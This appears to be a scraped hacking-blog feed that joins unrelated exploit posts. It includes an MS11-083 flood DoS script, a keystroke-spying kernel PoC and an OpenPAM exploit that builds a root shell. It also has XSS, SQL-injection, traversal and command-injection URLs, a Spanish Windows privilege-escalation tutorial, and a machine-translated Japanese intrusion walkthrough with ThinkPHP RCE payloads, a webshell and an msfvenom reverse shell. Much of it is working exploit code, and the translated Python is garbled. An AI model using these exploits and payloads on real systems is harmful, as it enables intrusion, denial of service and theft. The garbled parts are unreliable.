// source: https://www.securityfocus.com/bid/50517/info
Microsoft Windows is prone to a remote integer-overflow vulnerability that affects the TCP/IP stack.
An attacker can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will completely compromise affected computers. Failed exploit attempts may result in a denial-of-service condition.
#!/bin/sh
cat >> winnuke2011.c << EOF
/*
* MS11-083 DoS/PoC exploit
* ========================
* This attempts to trigger the ICMP refCount overflow
* in TCP/IP stack of Win7/Vista/Win2k8 hosts. This
* requires sending 2^32 UDP packets to a host on a closed
* port, or 4,294,967,296 packets. A dereference function
* must be called that is not triggered via UDP but ICMP
* echo packets. This exploit creates 250 threads and
* floods a host with UDP packets and then attempts to
* trigger the de-ref using ping. I calculated that it
* would take approximately 52 days for the host to
* enter a condition where this vulnerability is
* triggerable.
*
* -- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>
int port;
int active = 0;
pthread_mutex_t mutexactive;
void *sendpackets(void *ptr);
int main(int argc, char *argv[]) {
pthread_t thread;
int iret,lthreads;
pid_t pid;
printf("[+] MS11-083 DoS/PoC exploit\n");
if(argc<3){
printf("[!] Usage : %s <server> <port>\n", argv[0]);
exit(1);
}
char *const args[] = {"ping",argv[1],NULL};
char *const envp[] = {"",NULL};
port = atoi(argv[2]);
for(lthreads=0;lthreads<250;lthreads++){//UDP flood
iret = pthread_create(&thread,NULL,sendpackets,argv[1]);
printf("[-] Thread number %d started\n",lthreads);
sleep(1);
}
printf("[-] One does not simply barrel roll into Mordor\n");
pid = fork();
if(pid==0){// trigger deref.
execve("./ping.sh",args,envp);
};
while(active){
}
printf("[-] You are finished. Patience is a virtue.\n");
exit(0);
}
void *sendpackets(void *ptr)
{
int sd, rc, n, echoLen, flags, error, timeOut;
unsigned long i;
struct sockaddr_in remoteServAddr;
struct hostent *h;
char str[41];
pthread_mutex_lock(&mutexactive);
active++;
pthread_mutex_unlock(&mutexactive);
srand(time(NULL));
for (i = 0;i < 40;++i){
str[i] = (char)((rand() % 78) + 30);
}
str[40] = '\0'; // yes this was off-by-one. :(
printf("[-] Sending payload '%s'\n",str);
h = gethostbyname(ptr);
if(h==NULL) {
printf("unknown host '%s' \n",(char*)ptr);
exit(1);
}
remoteServAddr.sin_family = h->h_addrtype;
memcpy((char *) &remoteServAddr.sin_addr.s_addr,h->h_addr_list[0], h->h_length);
remoteServAddr.sin_port = htons(port);
sd = socket(AF_INET,SOCK_DGRAM,0);
if(sd<0){
printf("[!] Cannot open socket\n");
pthread_exit((void*)0);
}
flags = 0;
for(i=0;i<4294967295;i++){
rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr));
if(rc<0){
printf("[!] Cannot send data\n");
close(sd);
pthread_exit((void*)0);
}
}
pthread_mutex_lock(&mutexactive);
active--;
pthread_mutex_unlock(&mutexactive);
pthread_exit(NULL);
}
EOF
cat >> ping.sh << EOF
#!/bin/sh
while \`true\`;do /sbin/ping -c 1 \$1;done
EOF
chmod +x ping.sh
gcc winnuke2011.c -o winnuke2011
./winnuke2011
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863128563
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/50527/info
The Bonus theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Bonus 1.0 is vulnerable; other versions may also be affected.
http://www.example.com/?s="><script>alert("3spi0n")</script>
<?php
/*
source: https://www.securityfocus.com/bid/50541/info
Multiple Vendors' libc library is prone to a denial-of-service vulnerability due to stack exhaustion.
Successful exploits will allow attackers to make the applications that use the affected library, unresponsive, denying service to legitimate users.
The libc library of the following platforms are affected:
NetBSD 5.1
OpenBSD 5.0
FreeBSD 8.2
Apple Mac OSX
Other versions may also be affected.
*/
?>
<?
/*
PHP 5.4 5.3 memory_limit bypass exploit poc
by Maksymilian Arciemowicz http://cxsecurity.com/
cxib [ a.T] cxsecurity [ d0t] com
To show memory_limit in PHP
# php /www/memlimpoc.php 1 35000000
PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 35000001 bytes) in
/var/www/memlimpoc.php on line 12
Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 35000001 bytes) in
/var/www/memlimpoc.php on line 12
and try this
# php /www/memlimpoc.php 2
memory_limit bypassed
*/
ini_set("memory_limit","32M");
if($argv[1]==1)
$sss=str_repeat("A",$argv[2]);
elseif($argv[1]==2)
eregi("(.?)(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((.*){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}","a");
?>
Los servicios en Windows (anteriormente conocidos como servicios NT), permiten crear acciones/programas de larga ejecución que se ejecutan en sesiones propias de Windows. Los servicios pueden iniciarse automáticamente al encender el equipo, pueden detenerse o iniciarse manualmente, y, en cualquier caso, no muestran una interfaz gráfica, todo se hace en segundo plano.
Los servicios se pueden ejecutar en el contexto de otro usuario distinto al o los que hayan iniciado sesión en el equipo.
Con esta última frase, pensándolo desde la perspectiva de un atacante ya nos puede llamar la atención esta característica de Windows de cara a una posible escalada de privilegios. Si un servicio está mal configurado y lo ejecuta por ejemplo el usuario «nt authority\system», quizás podemos aprovecharnos para inyectar acciones suplantando a este usuario (o el usuario que lo ejecute).
Índice:
- Tipos de Escaladas de Privilegios
- Enumeración usando accesschk.exe
- Como reiniciar servicios
- Referencias
Tipos de Escaladas de Privilegios
Existen diversas escaladas de privilegios conocidas que están relacionadas con los servicios de Windows:
- Insecure Service Permissions
- Unquoted Service Path
- Weak Registry Permissions
- Insecure Service Executables
- DLL Hijacking
Todas estas posibles escaladas están basadas en malas configuraciones que se pueden encontrar en el equipo Windows. Ahora bien, ninguna de estas escaladas servirá aunque exista esa mala configuración, si no tenemos la capacidad de:
- Iniciar, detener o reiniciar el servicio
- Reiniciar el equipo Windows (suponiendo que el servicio vulnerable se inicie al iniciar el equipo)
Por lo que no hay que caer en la trampa de que si encontramos cualquiera de estas posibles malas configuraciones, podremos aprovecharlas. Todo dependerá de si somos capaces de realizar cualquiera de las dos últimas acciones mencionadas.
Ahora vamos a ver como podemos enumerar los permisos, configuraciones de un servicio, archivo y directorio.
Enumeración usando accesschk.exe
Accesschk es una herramienta de línea de comandos que pertenece al kit de tools de Windows Sysinternals, por lo que es del propio Microsoft. Te permite ver qué tipo de accesos tienen usuarios o grupos específicos a recursos como archivos, directorios, claves del Registro, objetos globales y servicios Windows. Se puede descargar desde la documentación oficial.
La estructura de accesschk es la siguiente:
accesschk.exe [opciones] [usuario o grupo] <nombre de objeto>
Sabiendo esto, vamos a ver algunos comandos concretos que nos pueden ser útiles:
- Ver permisos que tiene cierto usuario sobre un servicio:
accesschk.exe /accepteula -ucqv <usuario> <servicio>
Explicación de argumentos:
- /accepteula –> cuando ejecutamos una herramienta de Windows Sysinternals, la primera vez que lo hacemos suele salir una ventana gráfica de aceptar términos y demás. Para no tener problemas desde nuestra shell, añadiendo directamente este argumento aceptamos los términos desde la propia consola.
- u –> Indicamos que no enseñe los errores si los hubiese
- c –> Indicamos que el
<nombre de objeto>
representa un servicio de Windows. - q –> Quitamos el banner de la herramienta del output
- v –> Típico verbose de cualquier herramienta (mostrar información más detallada)

En este ejemplo podemos ver como el usuario «user», tiene la capacidad en el servicio «daclsvc» de:
- Editar la configuración del servicio
- Iniciar el servicio
- Detener el servicio
De esta forma, identificaríamos permisos los cuales nos pueden venir bien saber para determinar alguna posible explotación.
- Ver permisos de escritura en un directorio:
accesschk.exe /accepteula -uwdq <directorio>
Explicación de argumentos:
- /accepteula –> cuando ejecutamos una herramienta de Windows Sysinternals, la primera vez que lo hacemos suele salir una ventana gráfica de aceptar términos y demás. Para no tener problemas desde nuestra shell, añadiendo directamente este argumento aceptamos los términos desde la propia consola.
- u –> Indicamos que no enseñe los errores si los hubiese
- w –> Enseña solo los permisos que contengan escritura.
- d –> Indicamos que el objeto es una carpeta. Y que nos interesa los permisos de este objeto y no los de su contenido.
- q –> Quitamos el banner de la herramienta del output

De esta manera, podemos ver como todos los usuarios («BUILTIN\Users») tienen capacidad de escritura sobre el directorio especificado, lo que nos podría servir para aprovecharnos de alguna mala configuración.
- Comprobar los permisos de un registro:
accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
Explicación de argumentos:
- /accepteula –> cuando ejecutamos una herramienta de Windows Sysinternals, la primera vez que lo hacemos suele salir una ventana gráfica de aceptar términos y demás. Para no tener problemas desde nuestra shell, añadiendo directamente este argumento aceptamos los términos desde la propia consola.
- u –> Indicamos que no enseñe los errores si los hubiese.
- v –> Típico verbose de cualquier herramienta (mostrar información más detallada)
- w –> Enseña solo los permisos que contengan escritura.
- q –> Quitamos el banner de la herramienta del output.
- k –> Indicamos que el
<nombre de objeto>
representa un registro

En este caso, gracias a accesschk podemos saber que el grupo «INTERACTIVE» tiene permisos de escritura en el registro. En este grupo se encuentran todos los usuarios que alguna vez se han logueado en la máquina de forma local, por lo que es muy probable que cualquier usuario pertenezca a este grupo.
Sabiendo esto, en este caso hemos podido comprobar que tenemos capacidad de escritura sobre este registro, lo que nos podría ser de utilidad.
OJOO, como curiosidad, todos los servicios en Windows, se encuentran en la ruta:
HKLM\System\CurrentControlSet\Services\<nombre del servicio>
- Ver si tenemos permisos de escritura sobre un ejecutable:
accesschk.exe /accepteula -quvw <ejecutable>
Explicación de argumentos:
- /accepteula –> cuando ejecutamos una herramienta de Windows Sysinternals, la primera vez que lo hacemos suele salir una ventana gráfica de aceptar términos y demás. Para no tener problemas desde nuestra shell, añadiendo directamente este argumento aceptamos los términos desde la propia consola.
- q –> Quitamos el banner de la herramienta del output.
- u –> Indicamos que no enseñe los errores si los hubiese.
- v –> Típico verbose de cualquier herramienta (mostrar información más detallada)
- w –> Enseña solo los permisos que contengan escritura.

De esta forma, podemos ver como todos los usuarios tienen capacidad de escritura sobre el archivo especificado. Lo que nos puede ser muy útil para sustituirlo y aprovecharnos de alguna manera.
Accesschk.exe es una herramienta muy útil para enumerar información que nos puede ser muy útil saber para los diferentes tipos de escaladas relacionadas con servicios de Windows. En cualquier caso, se verá mejor su uso práctico en cada post de las diferentes escaladas.
Como reiniciar servicios
Como se ha mencionado previamente, en todas las escaladas relacionadas con los servicios de Windows, un requisito infalible es la capacidad de iniciar, detener o reiniciar un servicio (sin contar el reiniciar directamente el equipo para un servicio que inicie al arrancar). Una vez ya sabemos que tenemos los privilegios para hacerlo, existen distintas formas para llevarlo a cabo:
- net
Podemos iniciar un servicio mediante:
net start <nombre del servicio>
De la misma forma, podemos pararlo con:
net stop <nombre del servicio>
También podemos usar net
para listar todos los servicios que se estén ejecutando:
net start
- sc
Sc (Service Controller) es un programa de línea de comandos usado para la comunicación con el «Windows Service Controller and installed services».
Podemos iniciar un servicio con:
sc start <nombre del servicio>
Y pararlo con:
sc stop <nombre del servicio>
Como dato extra, con sc
podemos:
–> Comprobar configuración actual del servicio:
sc qc <servicio>
Ejemplo:

–> Comprobar estado actual del servicio:
sc query <servicio>

- Powershell
Desde powershell podemos usar un cmdlet para reiniciar servicios:
Restart-Service <nombre servicio> -Force
De la misma forma, existen cmdlets para iniciar y detener un servicio:
–> Start-Service
–> Stop-Service
La sintaxis es sencilla: <cmdlet> <nombre del servicio>
. Aunque también se puede usar el argumento -Name
para referirse al servicio:
–> Start-Service -Name <nombre del servicio>
–> Stop-Service -Name <nombre del servicio>
Referencias
- Introducción a las aplicaciones de servicios de Windows
- Windows Privilege Escalation for OSCP & Beyond!
- Windows-PrivEsc-Setup
- Interactive group
- Windows Sysinternals Administrator’s Reference: Security Utilities
source: https://www.securityfocus.com/bid/50552/info
SmartJobBoard is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
http://www.example.com/demo/search-results-resumes/?action=search&listing_type[equal]=Resume&keywords[exact_phrase]=%3Cscript%3Ealert%28%22DDz+Mr.PaPaRoSSe%22%29%3C%2Fscript%3E
source: https://www.securityfocus.com/bid/50562/info
Admin Bot is prone to an SQL Injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
http://www.example.com/news.php?wgo=666+and+1=2+union+all+select+0,1,BALTAZAR,3,4,5,6,7,8--
source: https://www.securityfocus.com/bid/50567/info
Oracle NoSQL is prone to a directory-traversal vulnerability because the application fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to obtain arbitrary local files in the context of the webserver process.
NoSQL 11g 1.1.100 R2 is vulnerable; other versions may also be affected.
http://www.example.com/kvadminui/LogDownloadService?log=../../../../../../../../../../../../../../../etc/passwd
source: https://www.securityfocus.com/bid/50564/info
XAMPP is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
These issues affect XAMPP 1.7.7 for Windows.
http://www.example.com/security/xamppsecurity.php/"><script>alert(1)</script>
http://www.example.com/xampp/perlinfo.pl/"><script>alert(1)</script>
http://www.example.com/xampp/cds.php/"><script>alert(1)</script>
source: https://www.securityfocus.com/bid/50568/info
Centreon is prone to a remote command-injection vulnerability.
Attackers can exploit this issue to execute arbitrary commands in the context of the application.
Centreon 2.3.1 is affected; other versions may also be vulnerable.
http://www.example.com/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../bin/cat%20/etc/passwd%20%23&o=h&min=1
/*
source: https://www.securityfocus.com/bid/50573/info
The Linux kernel is prone to a local information-disclosure weakness.
Successful exploits allow local attackers to obtain the password length of a victim's account; information harvested may aid in further attacks.
Linux kernel 3.1 and prior are vulnerable.
*/
/*
* A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1.
*
* The file /proc/interrupts is world readable. It contains information
* about how many interrupts were emitted since the system boot. We may loop
* on one CPU core while the victim is executed on another, and learn the length
* of victim's passord via monitoring emitted interrupts' counters of the keyboard
* interrupt. The PoC counts only keystrokes number, but it can be easily extended
* to note the delays between the keystrokes and do the statistical analysis to
* learn the precise input characters.
*
* The limitations:
* - it works on 2-core CPUs only.
* - it works on 1-keyboard systems only.
* - it doesn't carefully count the first and last keystrokes (e.g. ENTER after
* the password input).
* - it doesn't carefully filter keystrokes after ENTER.
*
* by segoon from Openwall
*
* run as: gcc -Wall spy-interrupts.c -o spy-interrupts && ./spy-interrupts gksu
*
* P.S. The harm of 0444 /proc/interrupts is known for a long time, but I
* was told about this specific attack vector by Tavis Ormandy just after similar
* PoC spy-sched was published.
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <string.h>
int i8042_number;
int ints[1024], ints_prev[1024], ints_delta[1024];
char buffer[1024];
int reread_ints(int *interrupts, int int_count, char **names)
{
int i;
int n, c1, c2;
char s1[1024], s2[1024];
int interrupts_fd;
FILE *interrupts_file;
interrupts_fd = open("/proc/interrupts", O_RDONLY);
if (interrupts_fd == -1)
err(1, "open(\"/proc/interrupts\")");
interrupts_file = fdopen(interrupts_fd, "r");
if (interrupts_file == NULL)
err(1, "fdopen");
if (fseek(interrupts_file, 0, SEEK_SET) < 0)
err(1, "lseek");
fgets(buffer, sizeof(buffer), interrupts_file);
for (i = 0; i < int_count; i++) {
if (fgets(buffer, sizeof(buffer), interrupts_file) == NULL) {
fclose(interrupts_file);
return i;
}
if (sscanf(buffer, "%d: %d %d %s %s", &n, &c1, &c2, s1, s2) < 3) {
fclose(interrupts_file);
return i;
}
if (names != NULL && names[i] == NULL)
names[i] = strdup(s2);
interrupts[i] = c1 + c2;
}
fclose(interrupts_file);
return int_count;
}
void init_i8042_number(void)
{
int i;
int can_be_keyboard[1024];
char *names[1024];
int number_of_interrups, can_be_keyboard_numbers;
number_of_interrups = reread_ints(ints_prev, sizeof(ints_prev), names);
/*
* Identify the i8042 interrupt associated with the keyboard by:
* 1) name should be i8042
* 2) interrupts count emitted in one second shouldn't be more than 100
*/
for (i = 0; i < number_of_interrups; i++)
can_be_keyboard[i] = strcmp(names[i], "i8042") == 0;
while (1) {
sleep(1);
reread_ints(ints, sizeof(ints), NULL);
can_be_keyboard_numbers = 0;
for (i = 0; i < number_of_interrups; i++) {
can_be_keyboard[i] &= (ints[i] - ints_prev[i]) < 100;
if (can_be_keyboard[i])
can_be_keyboard_numbers++;
ints_prev[i] = ints[i];
}
if (can_be_keyboard_numbers == 1) {
for (i = 0; i < number_of_interrups; i++)
if (can_be_keyboard[i]) {
i8042_number = i;
printf("i8042 keyboard is #%d\n", i);
return;
}
}
}
}
int i8042_read(void)
{
reread_ints(ints, sizeof(ints), NULL);
ints_prev[i8042_number] = ints[i8042_number];
return ints[i8042_number];
}
int wait_for_program(char *pname)
{
FILE *f;
int pid;
char s[1024];
snprintf(s, sizeof(s), "while :; do pgrep %s >/dev/null && break;"
" sleep 0.1; done", pname);
system(s);
snprintf(s, sizeof(s), "pgrep %s", pname);
f = popen(s, "r");
if (f == NULL)
err(1, "popen");
if (fgets(buffer, sizeof(buffer), f) == NULL)
err(1, "fgets");
if (sscanf(buffer, "%d", &pid) < 1)
err(1, "sscanf");
pclose(f);
return pid;
}
int main(int argc, char *argv[])
{
int n, old, sum, i;
int pid;
char *pname = argv[1];
if (argc < 2)
errx(1, "usage: spy-interrupts gksu");
puts("Waiting for mouse activity...");
init_i8042_number();
pid = wait_for_program(pname);
printf("%s is %d\n", pname, pid);
old = i8042_read();
sum = 0;
while (1) {
n = i8042_read();
if (old == n)
usleep(10000);
else {
for (i = 0; i < n-old; i++)
putchar('.');
fflush(stdout);
}
sum += n - old;
old = n;
if (kill(pid, 0) < 0 && errno == ESRCH)
break;
}
/*
* #interrupts == 2 * #keystrokes.
* #keystrokes = len(password) - 1 because of ENTER after the password.
*/
printf("\n%d keystrokes\n", (sum-2)/2);
return 0;
}
0x00はじめに
最も重要なアイデアは、イントラネット浸透のプロセスです。今回はイントラネットの浸透に多くのホストはありませんが、主に自分のイントラネット浸透を訓練することです。
0x01環境構築
射撃範囲:
Win7(内部):192.168.138.136
Win7(外部):192.168.10.25
ドメインホスト:
Win2008:192.168.138.138
0x03 Webサーバーの普及
nmapプローブポート
NMAP -T4 -SC -SV 192.168.10.25
ここでは、80、135、139、445などのいくつかのメインポートを見ることができます。まず、IPCとSMBを含むポイントを考えることができます。
ポート80を開き、Webアドレスにアクセスしようとしました。私は年をとっていますが、それでもバージョン5.xなので、まだ多くの穴があります。
特定のバージョンを決定するために、最初にエラーを表示して表示します。ここのバージョンは5.0.22であることがわかりました。正しく覚えていれば、ここにTPリモートコマンドの実行の脆弱性があります。
脆弱性の説明:ThinkPhpは、フレームワーク内のコア要求クラスのメソッドメソッドのフォームリクエスト偽造を提供するため、この関数は$ _POST ['_ Method']を使用して実際のリクエストメソッドを渡します。ただし、フレームワークではパラメーターが検証されないため、攻撃者は$ _POST ['_ Method']='__コンストラクト'を設定して、このクラスの変数を上書きします。攻撃者はこの方法を使用して、システムなどの関数名でフィルター変数を上書きします。パラメーターフィルタリングが内部的に実行されると、彼は任意のコマンドを実行します。
thinkphp getshell
ここで、最初にカリに関連する脆弱性があるかどうかを確認します
searchsploit thinkphp
ここでは、5.xリモート実行の脆弱性があることがわかります。このフォルダーに直接移動し、TXTにリストされているペイロードを確認します。
cd/usr/share/exploitdb/exploits/php/webapps
CAT 46150.TXT
対応するバージョンを見つけた後、次のペイロードをファズします。これはデータベース名のリストです。ここでは、データベース名がrootであることがわかります
192.168.10.25/thinkphp/public/?s=
このペイロードはデータベースのパスワードをリストする必要がありますが、ここには印刷されていません
192.168.10.25/thinkphp/public/?s=
これがphpinfoです
192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=phpinfovars [1] [=1
パスして、現在の許可が管理者であるかどうかを確認します
192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars「
IPの状況とデュアルネットワークカードを見ると、ドメイン環境がある可能性が高くなります
192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0=systemvars [1]]
プロセスを見て、キリングソフトウェアがないことを見つけるので、殺すことなくウェブシェルを書いてみてください
192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]
ここで私はここに一文を書くようにしています。私は以前にチェックしたことがあるので、キリングソフトウェアやセキュリティ犬はいないので、ここで殺すことのない治療を行う必要はありません。
192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1] connect.php
dirを使用して、書き込みが成功しているかどうかを確認します
192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars「
アリの剣に正常に接続します
thinkphpバッチ検出
ここで質問を考えました。 ThinkPhpには非常に多くのバージョンがあります。 Kaliに脆弱性ライブラリがない場合、検索エンジンでの検索が時間がかかりすぎる場合、ThinkPhpの脆弱性を検出するスクリプトはありますか?
ここで、ThinkPhpの脆弱性のバッチ検出のためのスクリプトを見つけました
#!/usr/bin/env python
# - * - coding: utf-8-* -
#name: thinkphpリモートコード検出
#説明: ThinkPhp5 5.0.22/5.1.29リモートコード実行の脆弱性
Reをインポートします
sysをインポートします
リクエストをインポートします
キューをインポートします
スレッドをインポートします
BS4からBeautifulSoupをインポートします
クラスThinkphp_rce(threading.thread):
def __init __(self、q):
threading.thread .__ init __(self)
self.q=q
def run(self):
self.q.empty():ではありません
url=self.q.get()
headers={'user-agent':'mozilla/5.0(macintosh; u; intel mac os x 10_6_8; en-us)applewebkit/534.50(khtml、geckoなど)バージョン/5.1サファリ/534.50'}
ペイロード=r '/?s=index/\ think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=phpinfovars [1] []=1'
vulnurl=url +ペイロード
try:
response=requests.get(vulnurl、headers=headers、timeout=3、verify=false、aople_redirects=false)
soup=beautifulsoup(respons.text、 'lxml')
str(soup.text):の「phpバージョン」の場合
print( '[+]リモートコード実行の脆弱性は、ターゲットアドレスに存在します')
print( '[ +]脆弱性URLアドレス' + vulnurl)
f1:としてopen( 'target.txt'、 'a')
f1.write(vulnurl+'\ n')
f1.close()
else:
print( '[ - ]ターゲットアドレスにリモートコード実行の脆弱性はありません')
:を除く
print( '[!]宛先アドレスは接続できません')
def urlget():
f:としてopen( 'url.txt'、 'r')
urls=f.readlines()
URLS:のTMPの場合
tmp:の「//」の場合
url=tmp.strip( '\ n')
urllist.append(url)
else:
url='http://'+tmp.strip( '\ n')
urllist.append(url)
return(urllist)
f.close()
__NAME __=='__ Main __' :の場合
print('''--------------------------------------------------------------------------------------------------------------------------
*:tdddによって作成されました
*詳細:https://T.ZSXQ.com/ai2rj6e
*My Heart :https://t.zsxq.com/a2fqfmn
________ _
| __ __ | | | (_)
| | __ | | ____ ___ ___ ___ _____ __ __ __ _
| |/_` |/__ |/_ \ | '_ `_ \ | || '_ \/_` |
| || (_ | ||(__ |(_)|| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| _ | \ __、_ | \ ___ | \ ___/| _ | | _ | | _ | | _ || _ | | _ | | _ | \ __、|
__/|
| ___/
'' ')
urllist=[]
urlget()
スレッド=[]
threads_count=10
q=queue.queue()
urllist:のURLの場合
Q.put(url)
範囲のi(threads_count):
threads.append(thinkphp_rce(q))
スレッドのIの場合。
i.start()
スレッドのIの場合。
i.join()
ここでの方法は非常に単純です。URL.TXTで検出されるターゲットを配置し、脆弱性アドレスがある場合、Target.TXTテキストが自動的に生成され保存されます。
0x04イントラネット情報コレクション
ここでは、アリの剣のコマンドウィンドウを使用して、管理者の許可+デュアルネットワークカードであるマシンの情報を収集します
whoamiipconfig
ドメイン関連情報をご覧ください
Net ViewNet Config WorkStationNetユーザー /ドメイン
0x05イントラネット浸透
オンラインMSF
MSFはABC.EXEを生成します
MSFVENOM -P Windows/MeterPreter/Reverse_TCP LHOST=192.168.10.11 LPORT=4444 -F EXE ABC.EXE
アリの剣を使用してターゲットマシンにアップロードします
ここにはキリングソフトウェアがないため、殺すことなくそれを行う必要はありません。コマンドラインで実行するだけです。
MSFは監視を有効にし、オンラインにすることができます
情報収集
GetSystemを使用して、システムの権限を高めます。これは、射撃範囲であるため、GetSystemは正常に実行するのが簡単です。
権限を高めた後、Windows環境でシェルを取得して、ドメインに関する情報を収集し続けます。
CHCP 65001NETユーザー /ドメインネットグループ「ドメインコンピューター」 /ドメインネットグループ「ドメインコントローラー」 /ドメインネットグループ「ドメイン管理者」 /ドメイン
ターゲットマシンには「Sun」と呼ばれるドメイン環境があり、ドメイン制御は1つだけです。ここでは、ドメインコントロールIPを取得するためにドメインコントロールを直接pingします192.168.138.138
資格情報を取得
ここには、2つのネットワークセグメントがあるため、最初にルートを追加して後続の操作を容易にします
#MSF操作ルート追加192.168.138.0 255.255.255.0 2routeプリント#セッション操作Autoroute -S 192.168.0/24run autoroute -p
source: https://www.securityfocus.com/bid/50607/info
OpenPAM is prone to a local privilege-escalation vulnerability.
Local attackers may exploit this issue to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers.
#!/usr/bin/perl
# kcheckpass invoking pam_start() with user provided
# service argument, what a bad idea. OpenPAM accepts that.
# Maybe this pam_start() vulnerability is exploitable via
# other vectors as well.
# Vuln tested on a FreeBSD 8.1. It does not affect
# Linux PAM, as it is checking for / character
# (C) 2011 by some dude, meant as a PoC! Only use on your own
# machine and on your own risk!!!
#
# This commit is likely to fix the bug:
# http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c
#
my $kcheckpass = "/usr/local/kde4/lib/kde4/libexec/kcheckpass";
# build suid shell
open(O,">/tmp/slam.c") or die $!;
print O<<EOC;
#include <stdio.h>
#include <unistd.h>
void __attribute__((constructor)) init()
{
char *a[] = {"/bin/sh", NULL};
setuid(0);
execve(*a, a, NULL);
}
EOC
close(O);
# build fake pam module
system("gcc -fPIC -Wall -c /tmp/slam.c -o /tmp/slam.o;gcc -shared -o /tmp/slam.so /tmp/slam.o");
# build fake PAM service file
open(O,">/tmp/pamslam") or die $!;
print O<<EOP;
auth sufficient /tmp/slam.so
EOP
close(O);
print "We need more Elchsalami! Happy birthday dude!\n";
exec("$kcheckpass -c ../../../tmp/pamslam -m classic");
source: https://www.securityfocus.com/bid/50577/info
PBCS Technology is prone to an SQL Injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
http://www.example.com/articlenav.php?id=[SQLi]
source: https://www.securityfocus.com/bid/50616/info
AShop is prone to multiple open-redirection issues and multiple cross-site scripting issues because it fails to sufficiently sanitize user-supplied input.
Attackers can exploit these issues to execute arbitrary script or HTML code, steal cookie-based authentication credentials, and conduct phishing attacks. Other attacks may also be possible.
Versions prior to AShop 5.1.4 are vulnerable.
IE8
http://www.example.com/ashop/?'"<script>alert(document.cookie)</script>
http://www.example.com/ashop/index.php?'"<script>alert(document.cookie)</script>
http://www.example.com/ashop/picture.php?picture=" stYle=x:expre/**/ssion(alert(document.cookie)) ns="
http://www.example.com/ashop/index.php?language='"<script>alert(document.cookie)</script>
FF 7.1
http://www.example.com/ashop/index.php?searchstring=1&showresult=true&exp='"</script><script>alert(666);</script>&resultpage=&categories=off&msg=&search=index.php&shop=1
http://www.example.com/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage='"</script><script>alert(document.cookie)</script>&msg=
http://www.example.com/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage=1&msg='"</script><script>alert(document.cookie)</script>
